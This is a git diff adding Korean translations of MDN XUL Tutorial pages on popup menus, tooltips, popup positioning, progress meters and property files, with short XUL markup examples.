+<p>예제를 실행시키면, 처음 세 개의 메뉴 항목 중 한 가지만 선택할 수 있다는 것을 알게 될 것입니다. 이 메뉴 항목들은 모두 동일한 <code>name</code> 속성값을 가지고 있기 때문에 하나의 그룹으로 엮인 것입니다. 마지막 메뉴 항목인 Earth는 라디오 메뉴이지만 <code>name</code> 속성값이 다르기 때문에 그 무리에 속하지 않습니다.</p>
+<p>물론 하나의 그룹 항목들은 모두 동일한 메뉴 안에 있어야 합니다. 꼭 붙어 있어야 할 필요는 없지만, 상식적으로 생각할 때 서로 붙어 있는 것이 좋을 것입니다.</p>
+<p>다음 단원에서는 <a href="ko/XUL_Tutorial/Popup_Menus">팝업 메뉴</a>를 작성하는 방법에 대해 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Simple_Menu_Bars" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Popup_Menus">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/popup_menus/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/popup_menus/index.html
new file mode 100644
index 0000000000..a3062b42d7
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/popup_menus/index.html
@@ -0,0 +1,190 @@
+---
+title: Popup Menus
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Popup_Menus
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Popup_Menus
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:More_Menu_Features" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Scrolling_Menus">다음  »</a></p>
+</div><p></p>
+<p>이전 단원에서는 메뉴바에 들어가는 메뉴를 만드는 방법에 대해 알아보았습니다. XUL은 팝업 메뉴를 만들 수 있는 능력도 가지고 있습니다. 팝업 메뉴는 대개 오른쪽 마우스 버튼을 누를 때 표시됩니다.</p>
+<h3 id=".ED.8C.9D.EC.97.85_.EB.A9.94.EB.89.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".ED.8C.9D.EC.97.85_.EB.A9.94.EB.89.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0">팝업 메뉴 만들기</h3>
+<p>XUL은 아래에서 설명하는 3가지 다른 형태의 팝업이 있습니다. 주된 차이는 표시되는 방식에 있습니다.</p>
+<dl>
+ <dt>
+  일반 팝업(Plain Popups)</dt>
+ <dd>
+  일반 팝업은 대상 요소에 마우스 왼쪽 버튼을 클릭하였을 때 나타나는 팝업창입니다. 일반 팝업은 어디에나 위치할 수 있으며, 어떤 내용이든 담을 수 있다는 점을 제외하고 메뉴바에 있는 메뉴와 아주 비슷합니다. 브라우저 창에서 뒤로와 앞으로 가기 버튼 옆에 있는 조그만 아래방향 화살표를 눌렀을 때 나타나는 드롭 다운 메뉴가 이의 좋은 예입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  문맥 팝업(Context Popups)</dt>
+ <dd>
+  문맥 팝업은 사용자가 문맥 메뉴 버튼(대개 마우스 오른쪽 버튼)을 누를 때 나타나는 팝업창입니다. 일부 플랫폼에서는 다른 버튼일 수도 있지만, 이것은 항상 문맥전용 메뉴를 호출하는 버튼 또는 키와 마우스의 조합입니다. 예를 들어 맥킨토시에서는 사용자가 제어키(Ctrl)를 누르고 마우스 버튼을 클릭하거나, 잠깐 동안 마우스 버튼을 누르고 있어야 합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  툴팁(Tooltips)</dt>
+ <dd>
+  툴팁 팝업창은 사용자가 어떤 요소위에 마우스를 올렸을 때 나타납니다. 이런 유형의 팝업은 보통 버튼 자체에서 제공되는 것보다 좀더 구체적인 버튼에 대한 설명을 제공하는 데 사용됩니다.</dd>
+</dl>
+<p>이들 세 가지 유형의 팝업은 사용자가 이것들을 호출하는 방식이 서로 다릅니다. 그래서 팝업 유형은 팝업을 호출하는 요소에 의해 결정됩니다.</p>
+<h4 id=".ED.8C.9D.EC.97.85_.EB.82.B4.EC.9A.A9_.EC.84.A0.EC.96.B8.ED.95.98.EA.B8.B0" name=".ED.8C.9D.EC.97.85_.EB.82.B4.EC.9A.A9_.EC.84.A0.EC.96.B8.ED.95.98.EA.B8.B0">팝업 내용 선언하기</h4>
+<p>팝업은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code> 요소를 사용하여 선언됩니다. 이는 특별한 속성이 없는 상자의 한 유형입니다. 팝업이 호출되면, 여러분이 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code>에 넣은 모든 요소를 포함하는 창이 화면에 출력될 것입니다. 여러분은 <code>menupopup</code>에 <code><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code> 속성을 항상 넣어주어야 합니다. 이것은 이 속성이 팝업과 특정 요소를 연결하는데 사용되기 때문인데, 이 의미에 대해서는 곧 알게될 것입니다. 먼저, 예제를 보겠습니다.</p>
+<pre>&lt;popupset&gt;
+  &lt;menupopup id="clipmenu"&gt;
+    &lt;menuitem label="Cut"/&gt;
+    &lt;menuitem label="Copy"/&gt;
+    &lt;menuitem label="Paste"/&gt;
+  &lt;/menupopup&gt;
+&lt;/popupset&gt;
+</pre>
+<p>여기서 볼 수 있듯이, 3개의 메뉴가 있는 단순 팝업메뉴가 만들어졌습니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code> 요소는 3개 메뉴 항목을 둘러싸고 있습니다. 여러분은 <code><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code> 속성이 <code>menupopup</code> 요소 자체에 설정된 것을 볼 수 있습니다.</p>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/popupset" title="popupset">popupset</a></code></code> 요소는 전체 팝업메뉴 선언부를 둘러싸고 있습니다. 이 요소는 팝업의 일반적인 컨테이너로 선택사항입니다. 이 요소는 화면에 나타나지는 않지만 사용할 모든 팝업들을 선언할 위치 역할로 사용됩니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/popupset" title="popupset">popupset</a></code></code>이라는 이름이 의미하듯, 내부에 여러개의 팝업을 선언할 수 있습니다. 첫 번째 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code></code> 요소 다음에 그냥 추가하기만 하면 됩니다. 하나의 파일에 여러개의 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/popupset" title="popupset">popupset</a></code></code>을 둘 수도 있지만, 대개는 하나만 존재할 것입니다.</p>
+<h4 id=".EC.9A.94.EC.86.8C.EC.99.80_.ED.8C.9D.EC.97.85.EC.9D.84_.EC.97.B0.EA.B2.B0.ED.95.98.EA.B8.B0" name=".EC.9A.94.EC.86.8C.EC.99.80_.ED.8C.9D.EC.97.85.EC.9D.84_.EC.97.B0.EA.B2.B0.ED.95.98.EA.B8.B0">요소와 팝업을 연결하기</h4>
+<p>이제 팝업을 만들었으니 팝업이 나타나도록 해야할 시간입니다. 이를 위해 팝업과 팝업이 나타날 요소를 연결시켜야 합니다. 이렇게 하는 것은 사용자가 창의 어떤 영역을 클릭했을 때만 팝업이 나타나야 하기 때문입니다. 대개, 이 요소는 특정 버튼이거나 상자가 됩니다.</p>
+<p>팝업을 요소와 연결시키려면 3가지 속성 중 하나를 해당 요소에 추가하면 됩니다. 추가할 요소는 만들고자 하는 팝업의 종류에 따라 달라집니다. 일반 팝업의 경우에는 해당 요소에 <code><code id="a-popup"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/popup">popup</a></code></code> 속성을 사용하고, 문맥 팝업은 <code><code id="a-context"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/context">context</a></code></code> 속성을 사용합니다. 마지막으로 툴팁 팝업은 <code><code id="a-tooltip"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/tooltip">tooltip</a></code></code> 속성을 사용합니다.</p>
+<p>위의 속성에는 출력하고자 하는 <code>menupopup</code>의 <code><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code> 속성값을 지정해야 합니다. 보통 하나의 파일이 여러개의 팝업을 포함하는 이유가 이 때문입니다.</p>
+<p>위의 예제를 이용해 문맥 팝업을 만들고자 합니다. 이것은 <code><code id="a-context"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/context">context</a></code></code> 속성을 사용해야 하며, 연결하고자 하는 팝업의 <code>id</code> 속성값을 이 속성값으로 지정해야 한다는 것을 의미합니다. 아래 예제는 이러한 사항을 어떻게 처리할 수 있는 지를 보여주고 있습니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_1.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:popups-ex1.png"></div>
+<pre>&lt;popupset&gt;
+  &lt;menupopup id="clipmenu"&gt;
+    &lt;menuitem label="Cut"/&gt;
+    &lt;menuitem label="Copy"/&gt;
+    &lt;menuitem label="Paste"/&gt;
+  &lt;/menupopup&gt;
+&lt;/popupset&gt;
+
+&lt;box context="clipmenu"&gt;
+  &lt;label value="Context click for menu"/&gt;
+&lt;/box&gt;
+</pre>
+<p>여기서 팝업은 상자와 연결되었습니다. 상자 어디서든 문맥 클릭(context-click, 오른쪽 클릭)을 하면 팝업메뉴가 나타날 것입니다. 또한 상자의 자식 요소를 클릭할 때도 팝업이 나타나기 때문에 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/label" title="label">label</a></code></code> 요소를 클릭해도 동일하게 동작할 것입니다. <code><code id="a-context"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/context">context</a></code></code> 속성은 상자와 해당 id를 가진 팝업을 연결하기 위해 사용되었습니다. 이 경우, <code>id</code>가 <code>clipmenu</code>인 팝업이 나타날 것입니다. 이런 식으로 수많은 팝업을 가질 수 있으며, 이들을 다른 요소와 연결할 수 있습니다.</p>
+<p>여러분은 하나의 요소에 다른 종류의 팝업 속성을 설정하여 여러개의 팝업과 연결할 수 있습니다. 또 하나의 팝업을 여러개의 요소에도 연결할 수 있는데 이는 XUL의 팝업 구문이 가진 장점 중 하나입니다. 팝업은 XUL 요소에만 연결할 수 있으며, HTML 요소와는 연결할 수 없습니다.</p>
+<h3 id=".ED.88.B4.ED.8C.81" name=".ED.88.B4.ED.8C.81">툴팁</h3>
+<p>여기서는 툴팁을 만드는 단순한 방법을 살펴보겠습니다. 툴팁을 만드는데는 두 가지 방법이 있습니다. 일반적으로 사용되는 가장 단순한 방법은 툴팁을 적용하고자 하는 요소에 <code><code id="a-tooltiptext"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/tooltiptext">tooltiptext</a></code></code> 속성을 추가하는 것입니다.</p>
+<p>두 번째 방법은 툴팁의 내용을 담고 있는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code></code> 요소를 사용하는 것입니다. 이 방법은 각각의 툴팁 내용을 포함하는 별도의 블록 또는 내용을 설정하는 스크립트의 작성을 필요로 합니다. 그러나 이러한 방법을 이용하면 툴팁에 텍스트 외에도 어떠한 내용도 사용할 수 있는 장점이 있습니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_2.xul">View</a></p>
+<pre>&lt;button label="Save" tooltiptext="Click here to save your stuff"/&gt;
+
+&lt;popupset&gt;
+  &lt;tooltip id="moretip" orient="vertical" style="background-color: #33DD00;"&gt;
+    &lt;description value="Click here to see more information"/&gt;
+    &lt;description value="Really!" style="color: red;"/&gt;
+  &lt;/tooltip&gt;
+&lt;/popupset&gt;
+
+&lt;button label="More" tooltip="moretip"/&gt;
+</pre>
+<p>이 2개의 버튼은 각각 툴팁을 가지고 있습니다. 첫 번째는 기본 툴팁 방식을, 두 번째는 다른 배경색과 서식이 적용된 텍스트로 구성된 커스텀 툴팁을 사용하고 있습니다. 툴팁은 More 버튼과 연결되어 있으며, 이를 위해 버튼의 <code><code id="a-tooltip"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/tooltip">tooltip</a></code></code> 속성에 해당 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code></code> 요소의 <code><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code> 속성값이 설정되어 있습니다. 여기서 <code>tooltip</code> 요소는 다른 팝업 유형처럼 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/popupset" title="popupset">popupset</a></code></code> 내부에 위치하고 있다는 점에 유의하세요.</p>
+<h3 id=".ED.8C.9D.EC.97.85_.EC.A0.95.EB.A0.AC" name=".ED.8C.9D.EC.97.85_.EC.A0.95.EB.A0.AC">팝업 정렬</h3>
+<p>기본적으로, 팝업과 문맥 창은 마우스 포인터가 위치한 곳에 나타납니다. 툴팁은 해당 요소의 약간 아래 위치하는데, 이는 마우스 포인터가 이를 가리지 않게 하기 위해서 입니다. 그렇다 하더라, 팝업이 나타날 위치를 좀 더 상세히 지정하고 싶은 경우가 있을 것입니다. 예를 들어, 브라우저의 뒤로 가기 버튼을 클릭했을 때 나타나는 팝업 메뉴는 마우스 포인터가 있는 곳이 아닌, 뒤로 가기 버튼 바로 아래 나타나도록 하는 것이 좋을 것입니다.</p>
+<p>팝업 위치를 변경하기 위해서는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code></code> 요소에 <code><code id="a-position"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/position">position</a></code></code>이라는 또 다른 속성을 사용할 수 있습니다. 또한 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code> 요소에도 이를 추가할 수 있습니다. 이 속성은 팝업을 발생시키는 요소에 상대적인 팝업 위치를 지시하는 데 사용됩니다. 여러가지 값을 설정할 수 있으며, 각각을 간단히 설명하면 아래와 같습니다.</p>
+<dl>
+ <dt>
+  after_start</dt>
+ <dd>
+  팝업은 요소의 아래에 왼쪽으로 정렬되어 나타납니다(팝업의 왼쪽 = 요소의 왼쪽, 팝업의 위 = 요소의 아래). 해당 팝업창이 요소보다 큰 경우, 오른쪽으로 확장됩니다. 이것은 브라우저의 뒤로와 앞으로 가기 버튼과 연결된 드롭다운 메뉴에 사용되는 값입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  after_end</dt>
+ <dd>
+  팝업창은 요소의 아래에 오른쪽으로 정렬되어 나타납니다(팝업의 오른쪽 = 요소의 오른쪽, 팝업의 위 = 요소의 아래).</dd>
+</dl>
+<dl>
+ <dt>
+  before_start</dt>
+ <dd>
+  팝업창은 요소의 위쪽에 왼쪽으로 정렬되어 나타납니다(팝업의 왼쪽 = 요소의 왼쪽, 팝업의 아래 = 요소의 위).</dd>
+</dl>
+<dl>
+ <dt>
+  before_end</dt>
+ <dd>
+  팝업창은 요소의 위쪽에 오른쪽으로 정렬되어 나타납니다(팝업의 오른쪽 = 요소의 오른쪽, 팝업의 아래 = 요소의 위).</dd>
+</dl>
+<dl>
+ <dt>
+  end_after</dt>
+ <dd>
+  팝업은 요소의 오른쪽에 아래쪽으로 정렬되어 나타납니다(팝업의 왼쪽 = 요소의 오른쪽, 팝업의 아래 = 요소의 아래).</dd>
+</dl>
+<dl>
+ <dt>
+  end_before</dt>
+ <dd>
+  팝업은 요소의 오른쪽에 위쪽으로 정렬되어 나타납니다(팝업의 왼쪽 = 요소의 오른쪽, 팝업의 위 = 요소의 위).</dd>
+</dl>
+<dl>
+ <dt>
+  start_after</dt>
+ <dd>
+  팝업은 요소의 왼쪽에 아래쪽으로 정렬되어 나타납니다(팝업의 오른쪽 = 요소의 왼쪽, 팝업의 아래 = 요소의 아래).</dd>
+</dl>
+<dl>
+ <dt>
+  start_before</dt>
+ <dd>
+  팝업은 요소의 왼쪽에 위쪽으로 정렬되어 나타납니다(팝업의 오른쪽 = 요소의 왼쪽, 팝업의 위 = 요소의 위).</dd>
+</dl>
+<dl>
+ <dt>
+  overlap</dt>
+ <dd>
+  팝업은 요소의 위에 나타납니다(요소의 왼쪽 위 = 팝업의 왼쪽 위).</dd>
+</dl>
+<dl>
+ <dt>
+  at_pointer</dt>
+ <dd>
+  팝업은 마우스 포인터 위치에 나타납니다.</dd>
+</dl>
+<dl>
+ <dt>
+  after_pointer</dt>
+ <dd>
+  팝업은 마우스 포인터와 가로 위치는 같으면서 세로 위치는 마우스 포인터 아래 부분에 나타납니다. 이것은 툴팁이 나타나는 방식입니다.</dd>
+</dl>
+<p>팝업 요소에 <code>position</code> 속성을 추가함으로써 팝업이 나타날 위치를 정확하게 지정할 수 있습니다. 그러나 정확한 픽셀 위치를 지정할 수는 없습니다. 아마도 툴팁 요소에 대한 이 속성값은 변경하려고 하지 않겠지만, <code>position</code> 속성은 세 가지 팝업 유형 모두에 사용될 수 있습니다. 아래 예제는 팝업 메뉴를 가진 뒤로가기 버튼을 만드는 것을 보여주는 것입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_3.xul">View</a></p>
+<pre>&lt;popupset&gt;
+  &lt;menupopup id="backpopup" position="after_start"&gt;
+    &lt;menuitem label="Page 1"/&gt;
+    &lt;menuitem label="Page 2"/&gt;
+  &lt;/menupopup&gt;
+&lt;/popupset&gt;
+
+&lt;button label="Pop Me Up" popup="backpopup"/&gt;
+</pre>
+<div class="highlight">
+ <h3 id="Our_find_files_example" name="Our_find_files_example">Our find files example</h3>
+ <p>파일 찾기 대화창에 간단한 팝업 메뉴를 추가해 보겠습니다. 단순하게 하기 위해, Edit 메뉴의 내용을 그냥 복사했습니다. 첫 번째 탭 패널위에서 클릭했을 때 팝업이 나타나도록 해 봅시다.</p>
+ <pre class="eval"><span class="highlightred">&lt;popupset&gt;
+  &lt;menupopup id="editpopup"&gt;
+    &lt;menuitem label="Cut" accesskey="t"/&gt;
+    &lt;menuitem label="Copy" accesskey="c"/&gt;
+    &lt;menuitem label="Paste" accesskey="p" disabled="true"/&gt;
+  &lt;/menupopup&gt;
+&lt;/popupset&gt;</span>
+
+&lt;vbox flex="1"&gt;
+.
+.
+.
+
+<span class="highlightred">&lt;tabpanel id="searchpanel" orient="vertical" context="editpopup"&gt;</span>
+</pre>
+ <p>여기에 있는 eidt 메뉴와 유사한 단순 팝업이 첫 번째 탭패널에 추가되었습니다. 첫 번째 패널 어디서든 마우스 오른쪽 버튼을 클릭하면(맥킨토시에서는 Ctrl-클릭), 팝업이 나타날 것입니다. 그러나 해당 팝업은 그 이외 장소에서 클릭하면 나타나지 않을 것입니다. 주의할 사항은 글상자의 경우 자체 내장 팝업메뉴가 있어서 우리가 지정한 팝업 메뉴가 나타나지 않을 것입니다.</p>
+ <p><span id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"><a id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"></a><strong>지금까지의 파일 찾기 예제</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-popups.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-popups.xul">View</a></p>
+</div>
+<p>다음 단원에서는 <a href="ko/XUL_Tutorial/Scrolling_Menus">스크롤 메뉴</a>를 작성하는 방법에 대해 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:More_Menu_Features" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Scrolling_Menus">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/progress_meters/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/progress_meters/index.html
new file mode 100644
index 0000000000..2593628bfa
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/progress_meters/index.html
@@ -0,0 +1,59 @@
+---
+title: Progress Meters
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Progress_Meters
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Progress_Meters
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:List_Controls" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Adding_HTML_Elements">다음  »</a></p>
+</div><p></p>
+<p>본 섹션에서는 진행 지시자를 생성하는 방법에 대해 알아보겠습니다.</p>
+<h3 id=".EC.A7.84.ED.96.89_.EC.A7.80.EC.8B.9C.EC.9E.90_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0" name=".EC.A7.84.ED.96.89_.EC.A7.80.EC.8B.9C.EC.9E.90_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0">진행 지시자 추가하기</h3>
+<p>진행 지시자는 작업이 얼마나 진행되었는지를 나타내는 막대입니다. 여러분은 보통 파일을 다운로드 받을때나 시간이 긴 작업이 진행될 때 보실 수 있습니다. XUL에서는 이러한 진행 지시자를 생성하기 위해 <code><a href="/ko/docs/Mozilla/Tech/XUL/progressmeter" title="progressmeter">progressmeter</a></code> 요소를 사용합니다. 진행 지시자에는 결정(determinate)과 미결정(undeterminate)의 두가지 종류가 있습니다.</p>
+<p>결정 진행 지시자는 어떠한 작업이 수행될 전체 시간의 길이를 알고 있을 때 사용합니다. 진행 지시자는 점점 차게 되고 다 차게 되면 작업이 완료되었음을 나타냅니다. 이러한 진행 지시자는 파일의 크기를 알고 있는 다운로드 대화상자의 경우에 사용할 수 있습니다.</p>
+<p>미결정 진행 지시자는 작업이 수행될 전체 시간 길이를 모를때 사용합니다. 진행 지시자는 사용중인 플랫폼이나 테마에 따라, 회전하는 이발소 간판(barbaer pole)이나 미끄러지는 상자와 같은 에니메이션으로 표시됩니다.</p>
+<p>결정 진행 지시자: <img alt="Image:prog-det.png"></p>
+<p>미결정 진행 지시자: <img alt="Image:prog-udet.png"></p>
+<p>진행 지시자는 다음과 같은 구문으로 표현됩니다.:</p>
+<pre>&lt;progressmeter
+    id="identifier"
+    mode="determined"
+    value="50%"/&gt;
+</pre>
+<p>속성은 다음과 같습니다.</p>
+<dl>
+ <dt>
+  <code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code> </dt>
+ <dd>
+  진행 지시자의 유일 식별자 입니다.</dd>
+ <dt>
+  <a href="ko/XUL/Attribute/progressmeter.mode">mode</a></dt>
+ <dd>
+  진행 지시자의 유형을 나타냅니다. 만일 <code>determined</code>로 지정하면 결정 진행 지시자를 의미하는 것으로 작업이 진행됨에 따라 채워지게 됩니다. 만일 <code>undetermined</code>로 지정하면 미결정 진행 지시자를 나타내는 것으로 작업이 진행될 시간을 모르는 경우에 사용됩니다. 본 속성을 지정하지 않은 경우에는 <code>determined</code>가 기본값입니다.</dd>
+ <dt>
+  <code id="a-value"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/value">value</a></code> </dt>
+ <dd>
+  진행 지시자의 현재값을 나타내며, 결정 진행 지시자일 경우에만 사용할 수 있습니다. 값은 0에서 100사이의 백분률(퍼센트)로 입력해야 합니다. 보통은 작업이 진행됨에 따라 스크립트로 변경하게 됩니다.</dd>
+</dl>
+<div class="highlight">
+ <h5 id=".ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C" name=".ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C">파일 찾기 예제</h5>
+ <p>우리의 파일 찾기 대화상자에 진행 지시자를 추가해 보겠습니다. 파일 찾기에서는 얼마나 많은 파일이 검색될지, 검색 시간이 얼마나 걸릴지 모르기 때문에 보통 미결정 진행 지시자를 사용합니다. 그러나 개발단계에서는 좀 혼란스러울 수 있으므로, 여기서는 결정 진행 지시자를 추가하겠습니다. 진행 지시자는 보통 검색이 진행중인 때만 나타납니다. 진행 지시자를 켜고 끄기 위한 스크립트는 나중에 추가하겠습니다.</p>
+ <pre class="eval">&lt;hbox&gt;
+
+  <span class="highlightred">&lt;progressmeter value="50%" style="margin: 4px;"/&gt;</span>
+
+  &lt;spacer flex="1"/&gt;
+&lt;/hbox&gt;
+</pre>
+ <p>창에서 계기값을 볼 수 있도록 value를 50%로 설정하였습니다. 창의 가장자리와 구분하기 위해 지시자의 여백을 4픽셀로 설정하였습니다. 앞서 말씀드린 바와 같이, 우리는 검색이 수행될 동안만 진행 바가 표시되기를 원합니다. 필요에 따라 스크립트가 보이거나 숨길 것입니다.</p>
+ <p>여태까지의 예제입니다. <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-progress.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-progress.xul">View</a></p>
+ <p><img alt="Image:progress1.png"></p>
+ <p> </p>
+</div>
+<p>다음 섹션에서는 <a href="ko/XUL_Tutorial/Adding_HTML_Elements">HTML을 사용하여 창에 더 많은 요소를 추가하는 방법</a>에 대해 배울 것입니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:List_Controls" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Adding_HTML_Elements">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/property_files/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/property_files/index.html
new file mode 100644
index 0000000000..7c99944148
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/property_files/index.html
@@ -0,0 +1,64 @@
+---
+title: Property Files
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Property_Files
+tags:
+  - Localization
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Property_Files
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Localization" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Introduction_to_XBL">다음  »</a></p>
+</div><p></p>
+<p>스크립트에서는, 엔티티를 쓸 수 없습니다. 대신 프로퍼티(property) 파일을 씁니다.</p>
+<h3 id=".ED.94.84.EB.A1.9C.ED.8D.BC.ED.8B.B0" name=".ED.94.84.EB.A1.9C.ED.8D.BC.ED.8B.B0">프로퍼티</h3>
+<p>DTD 파일은 XUL 파일에 텍스트가 있을 때 적당합니다. 그러나, 스크립트는 for 엔티티 분석되지 않습니다. 게다가, 예를 들어 혹시 여러분이 표시되는 텍스트를 정확히 모를 경우 스크립트에서 생성된 메시지를 표시하고 싶을지도 모릅니다. 이런 목적에, 프로퍼티 파일을 쓸 수 있습니다.</p>
+<p>프로퍼티 파일에는 문자열 집합이 담깁니다. DTD 파일과 함께 확장자가 .properties인 프로퍼티 파일이 있습니다. 이 파일에서 프로퍼티는 이름=값 구문으로 선언합니다. 예를 아래에 보입니다:</p>
+<pre>notFoundAlert=No files were found matching the criteria.
+deleteAlert=Click OK to have all your files deleted.
+resultMessage=%2$S files found in the %1$S directory.
+</pre>
+<p>이 프로퍼티 파일은 세 프로퍼티를 담고 있습니다. 스크립트로 이 프로퍼티를 읽고 사용자에게 표시됩니다.</p>
+<h3 id="Stringbundle" name="Stringbundle">Stringbundle</h3>
+<p>여러분이 직접 프로퍼티를 읽는 코드를 작성할 수 있으나 XUL이 여러분을 위해 이 일을 하는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/stringbundle" title="stringbundle">stringbundle</a></code></code> 요소(element)를 제공합니다. 요소에는 프로퍼티 파일에서 문자열를 얻고 다른 locale 정보를 얻는데 쓸 수 있는 많은 함수가 있습니다. 이 요소는 프로퍼티 파일의 content를 읽어들이고 여러분을 위해 프로퍼티 목록을 만듭니다. 그러면 여러분은 이름으로 특정 프로퍼티를 찾아볼 수 있습니다.</p>
+<pre>&lt;stringbundleset id="strbundles"&gt;
+&lt;stringbundle id="strings" src="strings.properties"/&gt;
+&lt;/stringbundleset&gt;
+</pre>
+<p>이 요소를 포함하면 XUL 파일과 같은 디렉토리의 'strings.properties' 파일에서 프로퍼티를 읽습니다. locale에서 파일을 읽으려면 chrome URL을 쓰세요. 다른 비표시 요소처럼, 여러분은 stringbundle을 모두 한데 모으기 위해 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/stringbundleset" title="stringbundleset">stringbundleset</a></code></code> 요소 안에 여러분의 stringbundle 모두를 선언해야 합니다.</p>
